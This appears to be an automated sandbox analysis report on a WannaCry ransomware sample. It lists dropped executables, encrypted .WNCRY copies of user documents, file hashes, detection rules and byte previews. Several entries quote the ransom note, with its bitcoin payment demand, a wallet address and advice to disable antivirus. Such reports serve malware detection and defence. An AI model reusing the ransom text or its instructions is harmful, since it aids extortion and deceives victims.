                                                                                                                                                                              SHA-512:4550DD1787DEB353EBD28363DD2CDCCCA861F6A5D9358120FA6AA23BAA478B2A9EB43CEF5E3F6426F708A0753491710AC05483FAC4A046C26BEC4234122434D5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 96%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=..y..y..y......x......r......x......}.....z..y..Q..O..x..Richy..........PE..L...W.[J.....................0............... ....@..........................P...............................................!..P....@............................................................................... ...............................text............................... ..`.rdata..z.... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Desktop\taskse.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20480
                                                                                                                                                                              Entropy (8bit):2.5252509618107535
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:UjpvOHheaCDCNIOgTegoddPtboyX7cvp0EWy1HlWwr:UjVWEam7ofP1oyX7olWUHlW0
                                                                                                                                                                              MD5:8495400F199AC77853C53B5A3F278F3E
                                                                                                                                                                              SHA1:BE5D6279874DA315E3080B06083757AAD9B32C23
                                                                                                                                                                              SHA-256:2CA2D550E603D74DEDDA03156023135B38DA3630CB014E3D00B1263358C5F00D
                                                                                                                                                                              SHA-512:0669C524A295A049FA4629B26F89788B2A74E1840BCDC50E093A0BD40830DD1279C9597937301C0072DB6ECE70ADEE4ACE67C3C8A4FB2DB6DEAFD8F1E887ABE4
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 89%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#O..g.v.g.v.g.v..2x.f.v..1|.l.v..1r.e.v.!+.d.v.g.w...v.Q.}.f.v.Richg.v.........PE..L.....[J.....................0......L........ ....@..........................P..............................................| ..<....@............................................................................... ..`............................text............................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Desktop\u.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):245760
                                                                                                                                                                              Entropy (8bit):6.278920408390635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                                                                              MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                                                                              SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                                                                              SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                                                                              SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Yara Hits:
                                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Users\user\Desktop\u.wnry, Author: Joe Security
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Documents\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Documents\@WanaDecryptor@.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):245760
                                                                                                                                                                              Entropy (8bit):6.278920408390635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                                                                              MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                                                                              SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                                                                              SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                                                                              SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.827461089995508
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:IPoC+Ipgq8QNZCvQrxwRrAWKJTJXHsNvZUcrM/Od1fNsnESRp:W+IpGQeywRrA7JmrFA2vfNsEG
                                                                                                                                                                              MD5:ACE0FB43090533DAB1745017AA93360F
                                                                                                                                                                              SHA1:622D531A4306966EF24089DF46478032041FCC07
                                                                                                                                                                              SHA-256:59456640AFE2177042BCFEF44DE2E9FB1B83C57AA8FD9A3A7438516D075DDE95
                                                                                                                                                                              SHA-512:39051CCB7553BA3292E29CBF7DE360141B32B6E0217E4FDF5EE01BF10AA4736A2DA77675304033E9704715D6FF7ADFB07B9C372354374BBCF7B93B723B81F399
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:W.V...{. ....T........0...C....x......../5.s.Y.h...z..9B.@I....0..&.X....0.mw73.......S.y.&..........UD:.'a...y....:s.....}...?Z...?q..}#.-.c......UE.2....^'...1.y[....zgv..u..le.N....ou.0.\.K.Vq{@;d;..#...D.j.,-........Gi.....|K.{...V.5..P.dG$.Z..be....H..[...f.........d;.;.y3c..i.v..hF...X..#_9..I.)..RR.y...<............c..;...RTw.(p..<.J.P..T]'...5.+...H.K.,m....y.$..3%.6.............a..+.-...-.Uc.. a.:+p.....@L.e...g..g....C.L..{.T..w'B.....)/9..ge....o..{pW.j...X(.....q.28%..d.....gh..OF#|....Y.L....t..=.q%h..w...N.\.P..)j..I.y13..B..I..o......._....K,.......q..~...4e~tYZ.Ma..,..j..M0.7Li...\3j...vc.#s7..v[.9...fT?....h.hJe.{.=y....h.....~.U...:;.uz{L,j.p.4...l......[..5.A.omh~.AStz....u..a.._/.., <...4....j.l.~.n..Tt..?..P...M0...#.`f.-...*.....5<.Z..l0."...,Q.5..7.x./0O{..i(zts.U<....sC&[..W..;wd?#...._....D...N....;f</..=.N.c.P......g..K^.Y. ...0....Z..=..J#,.0.Z.~*}...|._HC.Ob.>;M_.|.,....f.iE....q....nnwD>vb..`..

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.865228608916927
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkrAOP3R3zgTJIfP5+1uan0wwGOi2XjJ8rUxXSwgkMvme1ClPLTPsMkG7FW0DQF:bk1P398TJ+P5+1ua9POi2zJkUBSv3j17
                                                                                                                                                                              MD5:44678F3658D61706484B4B45C31585EA
                                                                                                                                                                              SHA1:86921C03E7E04FE0CE64A3B4C18FE1F53C616C41
                                                                                                                                                                              SHA-256:93695DF25C2A33FAF93CB430DEC453E9A5206BFC37C3DC5B18B9C2B1FAFCC01E
                                                                                                                                                                              SHA-512:19A88D341651E0BA227C4FC1983DE9CC834102D24362DD976C430DD935596767091C5879F5B01D3D192487992F7C7DAD40632A4D423995249F7C68F0CAE68C1F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....q8....MJ..B.G:..q>.tzn...r....Ggs).......~....t.S(..b...........H.......E.7........%1*.Ci..A.g....A.0..xu?H5.T...?w...("Ml....N...%.76..N3......q.v.$...../....x..a)x..{..9;jq.wXQ.P.3.!..}..g..j..m..l..p.~.....K..n.s....?%...e....>P..v..(.$.$............E.t...s?...........B...}7...o.dC(.d..y..M..~.c.g..v..|.]..E...)On.U..].......1z{...3.d.......D.-..7...o...u=QO.....Xn..)..B.8...C@*ny..q..A.v..k..f...`...2..>.%.C.?.~$!b?.@.L...Ns....|d.d...~.R..AjO.\7j.Vb....b.2.......$;....L..)..Gx.>...y.l...oX....d8.B.?W.s.=....>"..4.D.#.....2.Mz..q_.hh.........>m.v=.....N;...'.WQ...(..A?5l6.............9.JdaP..b.7.W.....D~.wG.n.8Y...D.j...|._......w......J..@_ywp..<.'._q...F....#..ZP...*.2W.....(...d.......!D3..=w.KS-.....e,/.....k..;X..hm.~.ZH..U.:....6J......X/....kxS>..I.X.1.IF....D#.3.......8.E.."....~..^K\N.+$v..W...M..2..!.nM..f./.....N..Z.fT+oUhg.........~.+.>..7z.a.. "..!..;....m.'.@_..e.=..E.`.KZiu...5hl2.X}..Z..s.u.J.p........

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.865228608916927
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkrAOP3R3zgTJIfP5+1uan0wwGOi2XjJ8rUxXSwgkMvme1ClPLTPsMkG7FW0DQF:bk1P398TJ+P5+1ua9POi2zJkUBSv3j17
                                                                                                                                                                              MD5:44678F3658D61706484B4B45C31585EA
                                                                                                                                                                              SHA1:86921C03E7E04FE0CE64A3B4C18FE1F53C616C41
                                                                                                                                                                              SHA-256:93695DF25C2A33FAF93CB430DEC453E9A5206BFC37C3DC5B18B9C2B1FAFCC01E
                                                                                                                                                                              SHA-512:19A88D341651E0BA227C4FC1983DE9CC834102D24362DD976C430DD935596767091C5879F5B01D3D192487992F7C7DAD40632A4D423995249F7C68F0CAE68C1F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....q8....MJ..B.G:..q>.tzn...r....Ggs).......~....t.S(..b...........H.......E.7........%1*.Ci..A.g....A.0..xu?H5.T...?w...("Ml....N...%.76..N3......q.v.$...../....x..a)x..{..9;jq.wXQ.P.3.!..}..g..j..m..l..p.~.....K..n.s....?%...e....>P..v..(.$.$............E.t...s?...........B...}7...o.dC(.d..y..M..~.c.g..v..|.]..E...)On.U..].......1z{...3.d.......D.-..7...o...u=QO.....Xn..)..B.8...C@*ny..q..A.v..k..f...`...2..>.%.C.?.~$!b?.@.L...Ns....|d.d...~.R..AjO.\7j.Vb....b.2.......$;....L..)..Gx.>...y.l...oX....d8.B.?W.s.=....>"..4.D.#.....2.Mz..q_.hh.........>m.v=.....N;...'.WQ...(..A?5l6.............9.JdaP..b.7.W.....D~.wG.n.8Y...D.j...|._......w......J..@_ywp..<.'._q...F....#..ZP...*.2W.....(...d.......!D3..=w.KS-.....e,/.....k..;X..hm.~.ZH..U.:....6J......X/....kxS>..I.X.1.IF....D#.3.......8.E.."....~..^K\N.+$v..W...M..2..!.nM..f./.....N..Z.fT+oUhg.........~.+.>..7z.a.. "..!..;....m.'.@_..e.=..E.`.KZiu...5hl2.X}..Z..s.u.J.p........

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.820107894332919
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:MKaYS/7iogAH9c8yEthhGTOWXo7Mst8SYyw8Hzueae9:3ALNO8XtL8poleJ8HN
                                                                                                                                                                              MD5:19339D97AE5D0D1CC40EA48ACCA75E7A
                                                                                                                                                                              SHA1:7905E8134E9CCBF348D72CC56A2712923D373DC9
                                                                                                                                                                              SHA-256:25C80B2DB4F0C30F456452F2B5426801A3A128814ABC91EB4194560CE36B3A38
                                                                                                                                                                              SHA-512:BFBE0D0CCF763FC3CED33BAFA2C299C69588E4867E9853BADE5D7B3A27572F29B85A6FE25C1104B93455C2EFBD43DADFF89AB014ED6D47218DF90A5128EF354B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.q..s...g@...5..t=...Kx .j.<.....{....h,......R@c....|...\..D@G..M-K.........:.K.F9.v.E...R.c ..Q!.+...O....e|b&"<.....O..uZ...7..Bw.]O.K8.. .u....r).......t.[....4o.0.....Q2%...&..\,lSiEa..~......9.p./......I?.b.......Y..'D...G1[...E..|..2..|....p./.C..E.-.x...K.=...>...v.X.(...9'gmD.....Z7`x.. .NL..zS....496r..K.....F1..4.~Q.3%...<o.N..].'...W. .._(.. .....o].<..W..G.|...i...}P.3Ik...'6`R.2.......T....2..li{..E.1....I.G.Cf....H.f...o...Bfzy..&..LE...:X.P5........5>.....q..g....$.d..IU.z.&e..6..u.s.oN..3.y'.7....F.}P.F..EWU..<s.U...}..^.x....5]..l.rq!.>....j...-.......-..H..*.'m..1.I.%...N.z.......NO......yfER...x|......o..3).V&y..\..=.../.......\....+^$Q....S.4.:.GZ.y.}.e~...+..H.,wQQ.X...Y.e...~%.TK].......QJ..8..wPE..T..L....F>p..+Z&.....#N..O.........A..............y^.?J$.*L..a.YK.%[.9"...m..Q........o`.5.a|...2q.,.........H...pu..F..$}z9f0.!.<...TS5.=I{%..........g....'.G.#.m.w.4..|\ .. ....w?......S..a.[.n\..\].jT)....5L....

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.851849256700257
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkJ+TXEC8sKZMwOKTnqySefqz/fd2n8FxlZgiAd2OijnPBKcT4p15eSwp8OUO/SU:bkJ+Ss6Mw9TnZyzd2n8jDUdpkBKcT4pC
                                                                                                                                                                              MD5:189822D214E386F44D3487D3EF30EE7F
                                                                                                                                                                              SHA1:FE7EFFDD6D500CC9D13541DCE874F2C394A81FCE
                                                                                                                                                                              SHA-256:5BFF9C44231B8A950E12708B180D0A4FC1FDA7EB89F26E00AF056CD098379A0D
                                                                                                                                                                              SHA-512:E69072FB3B150CC0E9C46D11C5ED0B95D1C93050AD5B31724FA6960FDB248CCFDB8074326D83A3847BE09C1D22BE9674A4DC09AC4EB92FAAF7CA2822DF4A808D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....V.i.........!8.%....J...uJ..........|9.^... ......Z...?dW.,.......3..O....5o4.`.....u.......`..I{.....K;-...Ph.B>...u$..A.wc?...1.4r}f...#&.X.2.^.Bf...+GP.='.w.J.1...... ....tHSZj.O.dI..3...Ed.r.F\Yz.v..@.~....{.....gdE]J...~[m..:g4....6..N.<g.............5+.s.0..?J.:s}w7.R..x<e=...o.t.&..x.).g....u&{..^.L..+.X.k..u....<.8........s........g....J&.h.v...~.w&Dk..9fA..e8...0.U.&`.L....%.u....Ngk......gK..L..B. ."..ME......9.8p.a(..6./(^C.GA....D.L....>..2P.|........`G(;B.!Z...\H..q...a.s.....U.F.O..7........]...Q......3d.....x.....b.9..V8...Z^.Y.\X.9.."..@......?L......8^.......,..k_V..y.......X....|.X.V?...O.O.....'J..W...;...OM.=.Y]$...?...%.Y.Cf.T..}..m.8...)O....K4...$.A..4W.[J.G..2.h[L.a|.%..-.!P..@T@...W...NpUg..T....q.E...x%....q.M..4.*.A...HL.......3.)..%d.,9..._.'.%..v...%.%.T....y.4.hC.P.ta(.j....E..8T..0.Gd:jR5..u.4..U.=.m.v.#]..2z.[t.3^6...+.A.z|...).......D._{.F.+.%s6..P..K.CM.......fA$.......,...d!:!.3ut.=.|}.n.q

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.851849256700257
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkJ+TXEC8sKZMwOKTnqySefqz/fd2n8FxlZgiAd2OijnPBKcT4p15eSwp8OUO/SU:bkJ+Ss6Mw9TnZyzd2n8jDUdpkBKcT4pC
                                                                                                                                                                              MD5:189822D214E386F44D3487D3EF30EE7F
                                                                                                                                                                              SHA1:FE7EFFDD6D500CC9D13541DCE874F2C394A81FCE
                                                                                                                                                                              SHA-256:5BFF9C44231B8A950E12708B180D0A4FC1FDA7EB89F26E00AF056CD098379A0D
                                                                                                                                                                              SHA-512:E69072FB3B150CC0E9C46D11C5ED0B95D1C93050AD5B31724FA6960FDB248CCFDB8074326D83A3847BE09C1D22BE9674A4DC09AC4EB92FAAF7CA2822DF4A808D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....V.i.........!8.%....J...uJ..........|9.^... ......Z...?dW.,.......3..O....5o4.`.....u.......`..I{.....K;-...Ph.B>...u$..A.wc?...1.4r}f...#&.X.2.^.Bf...+GP.='.w.J.1...... ....tHSZj.O.dI..3...Ed.r.F\Yz.v..@.~....{.....gdE]J...~[m..:g4....6..N.<g.............5+.s.0..?J.:s}w7.R..x<e=...o.t.&..x.).g....u&{..^.L..+.X.k..u....<.8........s........g....J&.h.v...~.w&Dk..9fA..e8...0.U.&`.L....%.u....Ngk......gK..L..B. ."..ME......9.8p.a(..6./(^C.GA....D.L....>..2P.|........`G(;B.!Z...\H..q...a.s.....U.F.O..7........]...Q......3d.....x.....b.9..V8...Z^.Y.\X.9.."..@......?L......8^.......,..k_V..y.......X....|.X.V?...O.O.....'J..W...;...OM.=.Y]$...?...%.Y.Cf.T..}..m.8...)O....K4...$.A..4W.[J.G..2.h[L.a|.%..-.!P..@T@...W...NpUg..T....q.E...x%....q.M..4.*.A...HL.......3.)..%d.,9..._.'.%..v...%.%.T....y.4.hC.P.ta(.j....E..8T..0.Gd:jR5..u.4..U.=.m.v.#]..2z.[t.3^6...+.A.z|...).......D._{.F.+.%s6..P..K.CM.......fA$.......,...d!:!.3ut.=.|}.n.q

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.786419156007818
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:F7FrWZeSzgeuEg4cMeBhyjt+rY3lJvAHLC+mopPZEBivW+5MNa:FprzS0Eg4rUUjorY3lhsJpGi3
                                                                                                                                                                              MD5:2B6DAE429FB68AE83912E48E70433EDF
                                                                                                                                                                              SHA1:A119A498C3E3880DEE75CE4EE810CDECE57097FE
                                                                                                                                                                              SHA-256:A8572C294D9134B6008EE03BF120BE72B85F056F47DC3D3037DC8C569986DB8A
                                                                                                                                                                              SHA-512:2B6EB5C9258379B7636FE2AF1D32065CB8468217AEEA74571A3BF730830715019CD4185BA724CC1895B90540C2C243595E1355D2F3C15C4E5CEDCBEBB6B19E6F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
